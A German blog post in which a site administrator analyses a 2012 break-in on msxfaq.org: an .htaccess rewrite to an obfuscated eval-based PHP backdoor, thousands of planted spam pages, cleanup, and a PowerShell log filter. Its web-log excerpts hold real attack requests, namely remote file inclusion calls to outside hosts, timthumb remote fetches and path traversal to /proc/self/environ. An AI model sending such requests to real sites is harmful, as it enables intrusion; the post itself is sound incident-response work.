MSXFAQ.Org Hack

Diese Seite beschreibt die (noch nicht abgeschlossene) Analyse eines Missbrauchs der (kaum besuchten) Kopier der MSXFAQ unter der Adresse www.msxfaq.org, auf der zusätzliche Dateien abgelegt und von anderen Systemen genutzt wurden. Die eigentlichen Inhalte selbst wurden nicht verändert, so dass die normale aktive Überwachung durch "Proben" keine Auffälligkeiten gezeigt hat.

Weckruf

Vermutlich hätte ich auch noch ein paar Tage nicht gemerkt, dass hier jemand zusätzliche Inhalte und ein paar PHP-Seiten hinterlegt hat, wenn mich nicht die folgende Mail am 29. Jan 2013 erreicht hat.

Eigentlich war ich schon fast drauf und dran die Mail als "Spam" zu löschen, zumal die URL nicht richtig war. Aber es war ja doch direkt auf mich als Admin-C adressiert und mit etwas Phantasie konnte ich auch schnell die "richtige" Adresse erahnen. Und tatsächlich wurde kein 404 geliefert sondern eine Seite. Sofort habe ich die anderen Hoster ebenfalls überprüft.

URL Hoster Ergebnis

http://msxfaq.org/events/scott-...

1blu

200 Seite erreichbar.
Interessanterweise war es quasi die "Homepage" in der aber andere Inhalte "eingefügt" waren.

http://msxfaq.org/events/scott-...

HostEurope

404 Seite nicht erreichbar, was der Normalzustand darstellt

http://msxfaq.org/events/scott-...

1und1

404 Seite nicht erreichbar, was der Normalzustand darstellt

Der "Fehler" war also auf einen Hoster beschränkt aber nicht weniger gefährlich.

Analyse der Dateien auf dem Webserver

Eine "veränderte Webseite" ist immer etwas wo man schnell, aber nicht überstürzt handeln sollte. Ich habe mir daher einige Minuten Zeit genommen, den Schaden zu betrachten. Mich würde schon interessieren, wie der Zugriff erfolgt ist. Ein schneller Blick hinten herum per SFTP zeigte mir, dass in dem Webspace zusätzliche Dokumente gelandet sind, die ich sicher da nicht hochgeladen habe.

Die in der Mail genannte Datei gab es natürlich nicht aber ein Blick in die ".htaccess" zeigte eine Rewrite-Rule, so dass Zugriffe auf nicht vorhandene Dateien auf ein PHP-Skript umgeleitet wurden.

Das Skript selbst war dann auch wieder leicht verschlüsselt. Eine nicht einfach lesbare Funktion hat einen Base64 codierten String weiter decodiert, um ihn dann auszuführen. Der Code ist natürlich "unlesbar" gemacht.

Aber das ist nur die erste Stufe. der eigentliche Code ist ja in der letzten Zeile (21318 Zeichen lang), der von diesem Code erst mit BASE64_Decode und dann durch die eigene Logik decodiert wird um ihn dann mit dem "EVAL" auszuführen. Man muss kein Programmierer sein, um aus dem EVAL einfach ein ECHO zu machen und den PHP-Code zu starten. Das Ergebnis ist dann das eigentliche Skript, was aber auch nicht lesbarer ist.

Was auch immer de Code gemacht hat, man sieht schon dass auch viel "Müll" zur Verwirrung drin ist. die ganzen "round()" Befehle haben wohl nur den Sinn die Analyse zu erschweren. Das Skript habe ich mir mal gesichert um es bei Gelegenheit mal zu untersuchen.

In vielen Verzeichnissen wurde ein neues unterverzeichnis ".msxfaq.org" angelegt, analog zum Domänenname der msxfaq.org. Top-Verzeichnis was "/events", indem über 78.000 Dateien gelandet sind. Die waren gar nicht einfach zu löschen, da viele Tools auf einen Timeout gelaufen sind.

Dort lagen nach meiner Sichtung nur jede Menge HTML-Dateien, die überwiegend um 10kbyte groß waren, was sich aber auch aufaddiert. Einige Dateien haben veränderte Kopien der MSXFAQ-Startseite enthalten. Andere nur "Datenmüll", wobei das vielleicht auch Chunks von Binärdateien sein könnten, die man nur richtig zusammensetzen müsste um bestimmte Inhalte zu bekommen Anscheinend war das Ziel, Google-Links und Ratings zu erhaschen. Zumindest lassen die Dateinamen die Vermutung zu. Eine Datei enthielt z.B.:

Bzvw/gp36PscyUPFF4ThvC7eAgFvspZ0oSTua+FO58ndnVEq+s7Arcq8WVKnKosq2laP7mnsrVNKvN70sOdGDs74HO1
HxgWncWfviXYHqzNFHAIkP/oW1p8vBnadXlcLJhgy5IKOsB11Mho0/z4HKny0uH5W0BqPkcCxc3hCySMzx6s0LBoZOjoD
q5rsD8pKd3UBL+ECm2MmU4ab2cJmdY0SGh+m8oLpD2cfhmESP8W58x8G24ff/T7uYjr6jRaY10IrizjZgUj0ojrV5jNBDYF
d9/GNgNO6oxvxCVjk75ngd/kAbPy9UFuhQrHZ8XWMyom79aczGMGl3Vh5vR0EFGNuxC/Potq2QwmPUNXKcvxSBXrNZv
WcXX8Q7deunkpjalijT2Mx7My8ZuOBKLKzrHHnNlncz2ZvvwWuoArlDuBrZnQMhTdzhb/XMIrhAZcaUXGXkpCLF+/SV4pBS
f8z0wVTgP83CX6+b8P5iRXmxIfIShQ0fCew2iDGKHt2o0L33YtK6Wtvhc+mqLU7irzIshQVV1SsP7lqrIg6hcQY5CYu/HTkou
vvv2SLQEkU2pWsl7+rLxUtk7rv565RRbJB23vuNw8fAWmVU23oxObsg++ckB2P6QRL1w8uhJLAL8acmuJuAAIXk6zC+dS
srzqgN/kdA2097amNjtjyB22awKKdgJdhp/ICRxfhJbpVOXEBPSOKZcu7ehrNAiGSw1vrk43i2UtQqBJFlTMKdCPbV6Gvc+GQ
jSgNdL1R9zZ8pYTax+8/xCubLx33cCT9R5RuKYlj2Wse9uuGI6ijJL2RrwOg4QueyLSWP2/G7as0Q4MFiKw552CupALsPfO
...

Was diese Daten genau darstellen sollen, konnte ich noch nicht ermitteln. ich tippe auf Schadecode, der aber auf dem Client erst z.B. per JavaScript entschlüsselt werden muss. Die direkt als ausführbare PHP-Datei abgelegten Codeteile wurde aber selbst vom oft gescholtenen Security Essentials als Backdoor gemeldet.

Ok da ist es also jemandem gelungen mir eine PHP-Seite auf die Webpräsenz zu legen, die er dann als Shell für alles mögliche verwenden konnte. Quasi "RDP für Unix over HTTP".

Da muss man sich schon fragen, warum ein Webhoster solche Dateien nicht blockiert oder zumindest danach sucht und den Inhaber warnt. Wie viele andere fremdbestimmte Webseiten gibt es denn noch? Die MSXFAQ.ORG liegt ja nicht mal auf einem dedicated Server oder virtual Server, den ich selbst managen und aktualisieren müsste, sondern auf einem reinen Webhosting-Paket.

Zuletzt befand sich in jedem Verzeichnis noch eine Textdatei mit 0 Bytes.

Ich vermute, dass damit der Angreifer prüfen wollte, ob er schreiben kann. zudem gab es einige PHP-Dateien, die ebenfalls auf dem Webspace gelandet sind. Hier die PHP-Dateien in einem  Verzeichnis. Über die ganze Webseite hinweg waren PHP-Dateien verteilt, die ich aber alle löschen konnte. Schließlich nutze ich nur minimal PHP nur in mir bekannten Verzeichnissen:

PHP ist so nichts Schlechtes. Allerdings kann der Code natürlich ziemlich viel machen, z.B. Dateien hochladen. Wie ich im allgemeinen es aus Sicherheitsaspekten nicht gut finde, dass eine Webseite einfach PHP ausführt, egal in welchem Verzeichnis so eine Datei liegt. Bei einem Windows IIS muss man ASP und ASP.NET erst installieren und auf dem virtuellen Verzeichnis muss man es noch aktivieren. PHP ist hingegen bei den meisten Webhostern per Default aktiv.

Während ich auf die Schnelle mal die verschiedenen Dateien und Verzeichnisse "gelöscht" habe, sind einige wieder "aufgetaucht". Also war der "böse Angreifer" weiter aktiv.

Spätestens jetzt war es an der Zeit alle Zugangsdaten erst einmal zu ändern. Alle "zusätzlichen" Dateien waren angeblich von einem FTP-User angelegt, den ich gar nicht aktiv verwendet habe. Danach habe ich meine lokale Webseite noch mal bitweise mit der Version auf dem Webserver verglichen um auch Veränderungen in meinen Bestandsdaten ausschließen zu können. Diesen Prozess habe ich immer wieder wiederholt. Ich habe auch die "Veröffentlichung" meiner Webseite derart umgestellt, dass immer auch ein komplette Verzeichnisabgleich stattfindet.

Zwischenstatus: Webseite wieder sauber.
Aber nun galt es den Weg zu finden, wie die Dateien auf den Server gekommen sind. Es sollte ja nicht wieder passieren.

Analyse der Logfiles

Allen Dateien war gemeinsam, dass Sie schon am 5.11.2012 gegen 22:13 angelegt wurden. Wenn diese Dateien also ab dem Zeitpunkt "genutzt" werden konnten, dann müsste ja in den Logs was auffallen. Und tatsächlich sieht man schon allein an der Größe der Dateien, das im November eine Zunahme sichtbar ist.

Der geübte Webadmin wird schon sehen, dass bei 500k/Monat auf dieser Webseite nicht viel los ist aber dass im November das Volumen schon stark angestiegen ist. Also muss es im November oder späten Oktober Auffälligkeiten geben.

Mein Vorteil ist, dass dieser Webserver kaum Besucher hat und die Zugriff in den Logs einfach zu finden sind. Aber bei der heute verteilten Struktur können die Zugriff auch wieder gekaperte Systeme sein, die zur Verschleierung genutzt werden. POST-Anfragen fallen generell auf und PHP-Dateien, die einem "200 OK" beantwortet werden, sind damit verdächtig.

Ich habe mir dann die Logfiles mal angeschaut und die verschiedenen Bots entfernt (Google, Bing, Baidu, Monitoring). Und einige Dinge sind schon "suspekt", wenn Sie mit einem 302 oder 200 beantwortet werden. (%22 = ", %20 = space)

94.228.180.218 - - [06/Nov/2012:09:26:47 +0100] "GET /newsletter/klip.htm%22%20target=%22_blank/admin/banner_manager.php/login.php HTTP/1.1" 302 212 "-" "Mozilla/5.0 (compatible;Baiduspider/2.0;+http://www.baidu.com/search/spider.html)"
94.228.180.218 - - [06/Nov/2012:09:26:49 +0100] "GET /admin/banner_manager.php/login.php HTTP/1.1" 302 212 "-" "Mozilla/5.0 (compatible;Baiduspider/2.0;+http://www.baidu.com/search/spider.html)"
94.228.180.218 - - [06/Nov/2012:09:26:50 +0100] "GET /newsletter/admin/banner_manager.php/login.php HTTP/1.1" 302 212 "-" "Mozilla/5.0 (compatible;Baiduspider/2.0;+http://www.baidu.com/search/spider.html)"
94.228.180.218 - - [06/Nov/2012:09:35:24 +0100] "GET /newsletter/klip.htm%22%20target=%22_blank/admin/file_manager.php/login.php HTTP/1.1" 302 212 "-" "Mozilla/5.0 (compatible;Baiduspider/2.0;+http://www.baidu.com/search/spider.html)"

Die 94.228.180.218 (http://whois.domaintools.com/94.228.180.218) gibt sich als "Baidu Spider" aus, aber die URLs sind doch etwas suspekt für eine Suchengine und die IP-Adresse ist in Frankreich ?.

Logauswertung mit PowerShell und die 404/302 Problematik

Um der Menge an Logs besser Herr zu werden, habe ich mir schnell ein PowerShell-Skript gebaut, welches per Pipeline die Logfile einliest und zudem die Google Sitemap als "Liste der guten Dateien" importiert. Dann bewertet es jede Zeile, ob die URL in der Sitemap ist (und das Ergebnis <400 ist) oder eben nicht. Hierbei habe ich eine unschöne Eigenschaft der Webserver erkannt: Wenn ich "Custom Errorpages" über die "ErrorDocument"-Einstellung in der ".HTACCESS"-Datei nutze, dann landen im Log kein 404 sondern ein 302 (Moved Temporarily). Nur gut, dass ich keine 302 selbst aktiv einsetze und dies damit doch "Fehler" sind. Zudem filtere ich noch die BOTS anhand des useragent heraus (wohlwissend, dass sich auch en Angreifer als GoogleBot" tarnen können und in diesem Fall wohl auch getan haben.

Skript um Filtern von Apache Combined Logs
msxfaqorghack.filter-weblog.ps1.txt

Nach der Filterung bleiben dann doch noch ein paar wenige URLs übrig, die ich primär weiter durchsucht habe:

filter-weblog: ============== ended ==============
totallines : 204292
totalMB : 0
ValidURLsOK : 12889
ValidURLsBOT : 96534
ValidURLsERROR : 0
InValidURLs : 94869
NoMatchLine : 0

Einige davon sind natürlich gute URLs, von Dateien, die damals noch vorhanden waren aber in der aktuellen Version meiner Webseite umbenannt oder verschoben wurden (z.B. Bilder). Aber das waren am Tag, so das ich schnell an die Stelle gekommen bin, an der es dann langsam los geht.

Ich habe die URLs etwas verändert, damit diese nicht noch weitere "Hits" bekommen oder ich noch als "Förderer" für Einbrüche bezeichnet werde.

  • Problematische URLs
    Diese URLs greifen auf Dateien zu, die es auf der Webseite so nicht geben sollte aber mit einem 200 OK zugegriffen werden konnten. Zu der zeit waren also die entsprechenden Dateien auf dem Webserver schon vorhanden. Dies sind die ersten "Treffer".
# Diese Zugriffe sind noch ins Leere gelaufen
50.47.58.114 - - [16/Oct/2012:10:25:27 +0200] "GET /admin/categories.php/login.php HTTP/1.1" 302 212 "-" "Microsoft Internet Explorer/4.0b1 (Windows 95)" InvalidURI

# Diese Anfragen wurden zwar mit einem 200 OK beantwortet, aber liefern nur die Defaultseite aus.
# Allerdings hat der Browser dann Bilder und Stylesheets "falsch" adressiert http://www.msxfaq.org/newsletter/images/msxfaqlogo2010.jpg statt http://www.msxfaq.org/images/msxfaqlogo2010.jpg
31.210.38.18 - - [16/Oct/2012:14:50:32 +0200] "GET //?_SERVER[DOCUMENT_ROOT]=http://www.xbox360-kinect.nu//wp-includes/images/smilies/id.txt?? HTTP/1.1" 200 32662 "-" "Mozilla/5.0 (Windows; u; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6" InvalidURI
31.210.38.18 - - [16/Oct/2012:14:50:33 +0200] "GET //?_SERVER[DOCUMENT_ROOT]=http://recognizereality.com//thetrafficjuicer/wp-includes/images/rob.jpg?? HTTP/1.1" 200 32662 "-" "Mozilla/5.0 (Windows; u; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6" InvalidURI
31.210.38.18 - - [16/Oct/2012:14:50:35 +0200] "GET /newsletter//?_SERVER[DOCUMENT_ROOT]=http://www.xbox360-kinect.nu//wp-includes/images/smilies/id.txt?? HTTP/1.1" 200 25920 "-" "Mozilla/5.0 (Windows; u; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6" InvalidURI
31.210.38.18 - - [16/Oct/2012:14:50:36 +0200] "GET /newsletter//?_SERVER[DOCUMENT_ROOT]=http://recognizereality.com//thetrafficjuicer/wp-includes/images/rob.jpg?? HTTP/1.1" 200 25920 "-" "Mozilla/5.0 (Windows; u; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6" InvalidURI

# Hier der erste "erfolgreiche" Zugriff auf eine PHP-Datei von einem (vermutlich ebenfalls missbrauchten) Server in Deutschland
89.144.57.90 - - [07/Nov/2012:09:10:21 +0100] "POST /admin/soyfoods.php HTTP/1.1" 200 112 "-" "Mozilla/5.0 (Windows; u; Windows NT 5.1; en-US; rv:1.9.0.11) Gecko/2009060215 Firefox/3.0.11"
89.144.57.90 - - [07/Nov/2012:18:40:07 +0100] "POST /tools/mythili.php HTTP/1.1" 200 112 "-" "Mozilla/5.0 (Windows; u; Windows NT 5.1; en-US; rv:1.9.0.11) Gecko/2009060215 Firefox/3.0.11"

# und ab dem 7. Nov scheint es dann loszugehen mit vielen erfolgreichen Anfragen auf PHP-Dateien
178.254.1.99 - - [07/Nov/2012:21:52:06 +0100] "GET /images/jpg.php?info1=1 HTTP/1.1" 200 34 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.50"
178.254.1.99 - - [07/Nov/2012:21:52:06 +0100] "GET //test.cgi HTTP/1.1" 200 5329 "-" "Opera/9.20 (Windows NT 6.0; u; en)"
178.254.1.99 - - [07/Nov/2012:21:52:06 +0100] "GET /.msxfaq.org/test.cgi HTTP/1.1" 200 5329 "-" "Mozilla/5.0 (Windows; u; Windows NT 5.1; en-GB; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6"
178.254.1.99 - - [07/Nov/2012:21:52:07 +0100] "GET /24/test.cgi HTTP/1.1" 200 5329 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)"
178.254.1.99 - - [07/Nov/2012:21:52:07 +0100] "GET /7/test.cgi HTTP/1.1" 200 5329 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)"
# interessanterweise ist diese IP (vermutlich auch ein missbrauchter Server) beim gleichen Provider 1blu


94.23.226.107 - - [08/Nov/2012:17:24:59 +0100] "POST /images/jpg.php HTTP/1.1" 200 266 "http://msxfaq.org/images/jpg.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; MyIE2)" InvalidURI
94.23.226.107 - - [08/Nov/2012:17:24:59 +0100] "POST /images/jpg.php HTTP/1.1" 200 9275 "http://msxfaq.org" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; MyIE2)" InvalidURI
94.23.226.107 - - [08/Nov/2012:17:25:06 +0100] "POST /images/jpg.php HTTP/1.1" 200 7 "http://msxfaq.org" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; MyIE2)" InvalidURI
94.23.226.107 - - [08/Nov/2012:17:25:06 +0100] "GET /notfall/s3Slider.php?info1 HTTP/1.1" 200 41 "-" "Mozilla/5.0 (Windows; u; Windows NT 6.0; en-US; rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6 GTB7.1 ( .NET CLR 3.5.30729)" InvalidURI
94.23.226.107 - - [08/Nov/2012:17:25:06 +0100] "POST /notfall/s3Slider.php HTTP/1.1" 200 7 "http://msxfaq.org" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; MyIE2)" InvalidURI
94.23.226.107 - - [08/Nov/2012:17:25:06 +0100] "POST /notfall/s3Slider.php HTTP/1.1" 200 - "http://msxfaq.org" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; MyIE2)" InvalidURI

Irritierend dabei ist, dass es keine sichtbaren Zugriff "vorher" gibt. Ich gehe aktuell mal davon aus, dass der Einbruch, d.h. die Ablage dieser PHP-Dateien nicht über HTTP erfolgt ist. Zumindest lassen die Logs darauf keinen Zugriff erkennen.

Die verbliebenen URLs teile ich mal in verschiedene Gruppen ein:

  • Einfache Zugriff auf den "fremden" Content
    Hier scheinen Clients tatsächlich diese Daten abzurufen, warum auch immer. Bei einigen Zeilen kann man den "Referer" erkennen. Die eine "google.de"-Anfrage liefert nun wieder den 404 der MSXFAQ.org aus aber über den Cache eben noch ein Bild. (einer Bulldogge die einen Schlitten zieht). Interessant fand ich, dass IOS-Geräte anscheinend sequentiell Bilder angefordert haben. Ich denke das ist eher ein gefälschter userAgent.
114.79.2.7 - - [01/Feb/2013:00:53:45 +0100] "GET /events/mauve-lovebirds HTTP/1.1" 302 212 "http://www.google.co.id/imgres?imgURL=http://images04.olx.co.id/ui/20xxxxx622_1-JUAL" "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.56 Safari/537.17" 
37.139.52.23 - - [01/Feb/2013:01:02:22 +0100] "GET /events/mami-mulai HTTP/1.1" 302 212 "http://www.narcom.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322)"
87.142.145.23 - - [01/Feb/2013:01:06:09 +0100] "GET /images/pitbull-weight-pulling HTTP/1.1" 302 212 "http://www.google.de/imgres?q=pitbull+american&hl=de&client=mobilesearchapp&tbo=d&v=2.5.1.13455&source=mobilesearchapp&channel=iss&imgrefURL=http:
  //msxfaq.org/images/pitbull-weight-pulling&" "Mozilla/5.0 (iPad; CPU OS 6_0_1 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Mobile/

70.139.55.164 - - [01/Dec/2012:04:44:21 +0100] "GET /events/images/stern-s.gif HTTP/1.1" 200 - "http://msxfaq.org/events/sophia-lulu" "Mozilla/5.0 (iPhone; CPU iPhone OS 6_0_1 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/ Safari/8536.25"
70.139.55.164 - - [01/Dec/2012:04:44:21 +0100] "GET /events/images/icon-note.gif HTTP/1.1" 200 - "http://msxfaq.org/events/sophia-lulu" "Mozilla/5.0 (iPhone; CPU iPhone OS 6_0_1 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/ Safari/8536.25"
70.139.55.164 - - [01/Dec/2012:04:44:21 +0100] "GET /events/images/notiz-s.gif HTTP/1.1" 200 - "http://msxfaq.org/events/sophia-lulu" "Mozilla/5.0 (iPhone; CPU iPhone OS 6_0_1 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/ Safari/8536.25"
70.139.55.164 - - [01/Dec/2012:04:44:21 +0100] "GET /events/images/rss.jpg HTTP/1.1" 200 - "http://msxfaq.org/events/sophia-lulu" "Mozilla/5.0 (iPhone; CPU iPhone OS 6_0_1 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/ Safari/8536.25"
70.139.55.164 - - [01/Dec/2012:04:44:21 +0100] "GET /events/images/lang-de.gif HTTP/1.1" 200 - "http://msxfaq.org/events/sophia-lulu" "Mozilla/5.0 (iPhone; CPU iPhone OS 6_0_1 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/ Safari/8536.25"
70.139.55.164 - - [01/Dec/2012:04:44:21 +0100] "GET /events/images/twitter-follow55x18.gif HTTP/1.1" 200 - "http://msxfaq.org/events/sophia-lulu" "Mozilla/5.0 (iPhone; CPU iPhone OS 6_0_1 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/ Safari/8536.25"
70.139.55.164 - - [01/Dec/2012:04:44:21 +0100] "GET /events/images/userrots.gif HTTP/1.1" 200 - "http://msxfaq.org/events/sophia-lulu" "Mozilla/5.0 (iPhone; CPU iPhone OS 6_0_1 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/ Safari/8536.25"
70.139.55.164 - - [01/Dec/2012:04:44:21 +0100] "GET /events/images/office_homeapps.gif HTTP/1.1" 200 - "http://msxfaq.org/events/sophia-lulu" "Mozilla/5.0 (iPhone; CPU iPhone OS 6_0_1 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/ Safari/8536.25"
70.139.55.164 - - [01/Dec/2012:04:44:22 +0100] "GET /events/images/map2003s.gif HTTP/1.1" 200 - "http://msxfaq.org/events/sophia-lulu" "Mozilla/5.0 (iPhone; CPU iPhone OS 6_0_1 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/ Safari/8536.25"
70.139.55.164 - - [01/Dec/2012:04:44:22 +0100] "GET /events/images/icon-lampe.gif HTTP/1.1" 200 - "http://msxfaq.org/events/sophia-lulu" "Mozilla/5.0 (iPhone; CPU iPhone OS 6_0_1 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/ Safari/8536.25"
70.139.55.164 - - [01/Dec/2012:04:44:22 +0100] "GET /events/images/boxarchiv.gif HTTP/1.1" 200 - "http://msxfaq.org/events/sophia-lulu" "Mozilla/5.0 (iPhone; CPU iPhone OS 6_0_1 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/ Safari/8536.25"
  • Komplexere URLs, die Code enthalten könnten
    Dann habe ich einige Zugriffe gefunden, die vielleicht JavaScript per URL an die Webseite senden. Über die Rewrite-Rule wurde ja eine PHP-Date gestartet, die theoretisch auch einen per URL übergebenen Codebaustein per "eval()" ausführt. Die IP-Adresse (http://whois.domaintools.com/77.222.61.13) ist russisch aber das kann ja auch ein selbst gekidnappter Host sein.
77.222.61.13 - - [01/Feb/2013:02:34:51 +0100] "GET /events/audi-china&amp;sa=U&amp;ei=lhsLUbCrL5LWiAK4ooHICA&amp;
ved=0CEMQFjARONgE&amp;usg=AFQjCNHMwuu0ZwMzT24iNWWpOknWtg97dw/wp-content/themes/Nova/timthumb.php?
src=http%3A%2F%2Fpicasa.com.compraonlinecr.com%2Findex.php HTTP/1.1" 302 212 "-" "Mozilla/5.0 
(Windows; u; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6" 
  • Sonstige "Angriffs-URLs" die versuchen eine Lücke zu finden.
    Da ist so ein LOG-File ja ein gefundenes Fressen um zu sehen, was so alles "versucht" wird. Diesmal aus Argentinien (http://whois.domaintools.com/206.221.222.202).
    Auch Wordpress und eventuell angelegte "Custom Themes" mit schlechtem PHP-Code sind offensichtlich ein gefundenes Fressen für Angreifer.
    Und anscheinend hat mein Verzeichnis "/admin" auch einige Versuche angelockt. Die wurden aber alle mit einem 302 umgebogen
77.74.54.129 - - [16/Oct/2012:05:12:09 +0200] "GET //wp-content/themes/Lumin/timthumb.php?src=http://picasa.com.salemridgefarms.com/bot.php HTTP/1.1" 302 212 "-" "Mozilla/5.0 (Windows; u; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6" InvalidURI
77.74.54.129 - - [16/Oct/2012:05:12:09 +0200] "GET //wp-content/themes/Lumin/timthumb.php?src=http://picasa.com.salemridgefarms.com/user.php HTTP/1.1" 302 212 "-" "Mozilla/5.0 (Windows; u; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6" InvalidURI
77.74.54.129 - - [16/Oct/2012:05:12:09 +0200] "GET //wp-content/themes/Lumin/timthumb.php?src=http://picasa.com.salemridgefarms.com/xx.php HTTP/1.1" 302 212 "-" "Mozilla/5.0 (Windows; u; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6" InvalidURI
77.74.54.129 - - [16/Oct/2012:05:12:09 +0200] "GET /code//wp-content/themes/Lumin/timthumb.php?src=http://picasa.com.salemridgefarms.com/bot.php HTTP/1.1" 302 212 "-" "Mozilla/5.0 (Windows; u; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6" InvalidURI
77.74.54.129 - - [16/Oct/2012:05:12:09 +0200] "GET /code//wp-content/themes/Lumin/timthumb.php?src=http://picasa.com.salemridgefarms.com/user.php HTTP/1.1" 302 212 "-" "Mozilla/5.0 (Windows; u; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6" InvalidURI
77.74.54.129 - - [16/Oct/2012:05:12:09 +0200] "GET /code//wp-content/themes/Lumin/timthumb.php?src=http://picasa.com.salemridgefarms.com/xx.php HTTP/1.1" 302 212 "-" "Mozilla/5.0 (Windows; u; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6" InvalidURI

50.47.58.114 - - [16/Oct/2012:10:25:28 +0200] "GET /newsletter/admin/banner_manager.php/login.php HTTP/1.1" 302 212 "-" "Microsoft Internet Explorer/4.0b1 (Windows 95)" InvalidURI
50.47.58.114 - - [16/Oct/2012:10:25:29 +0200] "GET /newsletter/admin/categories.php/login.php HTTP/1.1" 302 212 "-" "Microsoft Internet Explorer/4.0b1 (Windows 95)" InvalidURI
50.47.58.114 - - [16/Oct/2012:10:25:29 +0200] "GET /admin/file_manager.php/login.php HTTP/1.1" 302 212 "-" "Microsoft Internet Explorer/4.0b1 (Windows 95)" InvalidURI
50.47.58.114 - - [16/Oct/2012:10:25:30 +0200] "GET /newsletter/admin/file_manager.php/login.php HTTP/1.1" 302 212 "-" "Microsoft Internet Explorer/4.0b1 (Windows 95)" InvalidURI

217.114.212.50 - - [16/Oct/2012:14:49:57 +0200] "GET ///////////index.php?option=com_dwgraphs&controller=../../../../../../../../../../../../../../../../../../../../../../../..//proc/self/environ%0000 HTTP/1.1" 302 212 "-" "Mozilla/5.0 (Windows; u; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6" InvalidURI
217.114.212.50 - - [16/Oct/2012:14:49:57 +0200] "GET /newsletter///////////index.php?option=com_dwgraphs&controller=../../../../../../../../../../../../../../../../../../../../../../../..//proc/self/environ%0000 HTTP/1.1" 302 212 "-" "Mozilla/5.0 (Windows; u; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6" InvalidURI
217.114.212.50 - - [16/Oct/2012:14:50:05 +0200] "GET /newsletter/klip.htm%22%20target=%22_blank///////////index.php?option=com_dwgraphs&controller=../../../../../../../../../../../../../../../../../../../../../../../..//proc/self/environ%0000 HTTP/1.1" 302 212 "-" "Mozilla/5.0 (Windows; u; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6" InvalidURI

205.251.153.163 - - [16/Oct/2012:10:07:19 +0200] "GET //?_zb_path=test?? HTTP/1.1" 200 32662 "-" "Mozilla/5.0 (Windows NT 5.1; rv:11.0) Gecko/20100101 Firefox/11.0" InvalidURI
205.251.153.163 - - [16/Oct/2012:10:07:20 +0200] "GET //?_zb_path=http://www.eliteteamsite.com/eliteteamsite/admin/module/data/hitam.jpg?? HTTP/1.1" 200 32662 "-" "Mozilla/5.0 (Windows NT 5.1; rv:11.0) Gecko/20100101 Firefox/11.0" InvalidURI
205.251.153.163 - - [16/Oct/2012:10:07:22 +0200] "GET //?_zb_path=http://www.eliteteamsite.com/eliteteamsite/admin/module/data/putih.jpg?? HTTP/1.1" 200 32662 "-" "Mozilla/5.0 (Windows NT 5.1; rv:11.0) Gecko/20100101 Firefox/11.0" InvalidURI
205.251.153.163 - - [16/Oct/2012:10:07:24 +0200] "GET /code//?_zb_path=test?? HTTP/1.1" 200 57965 "-" "Mozilla/5.0 (Windows NT 5.1; rv:11.0) Gecko/20100101 Firefox/11.0" InvalidURI
205.251.153.163 - - [16/Oct/2012:10:07:25 +0200] "GET /code//?_zb_path=http://www.eliteteamsite.com/eliteteamsite/admin/module/data/hitam.jpg?? HTTP/1.1" 200 57965 "-" "Mozilla/5.0 (Windows NT 5.1; rv:11.0) Gecko/20100101 Firefox/11.0" InvalidURI
205.251.153.163 - - [16/Oct/2012:10:07:27 +0200] "GET /code//?_zb_path=http://www.eliteteamsite.com/eliteteamsite/admin/module/data/putih.jpg?? HTTP/1.1" 200 57965 "-" "Mozilla/5.0 (Windows NT 5.1; rv:11.0) Gecko/20100101 Firefox/11.0" InvalidURI

218.145.71.178 - - [18/Oct/2012:09:37:11 +0200] "GET //index.php?option=com_jvehicles&controller/../../../../../../proc/self/environ%00 HTTP/1.1" 302 212 "-" "libwww-perl/5.79" InvalidURI
218.145.71.178 - - [18/Oct/2012:09:37:16 +0200] "GET /newsletter//index.php?option=com_jvehicles&controller/../.././../../proc/self/environ%00 HTTP/1.1" 302 212 "-" "libwww-perl/5.79" InvalidURI

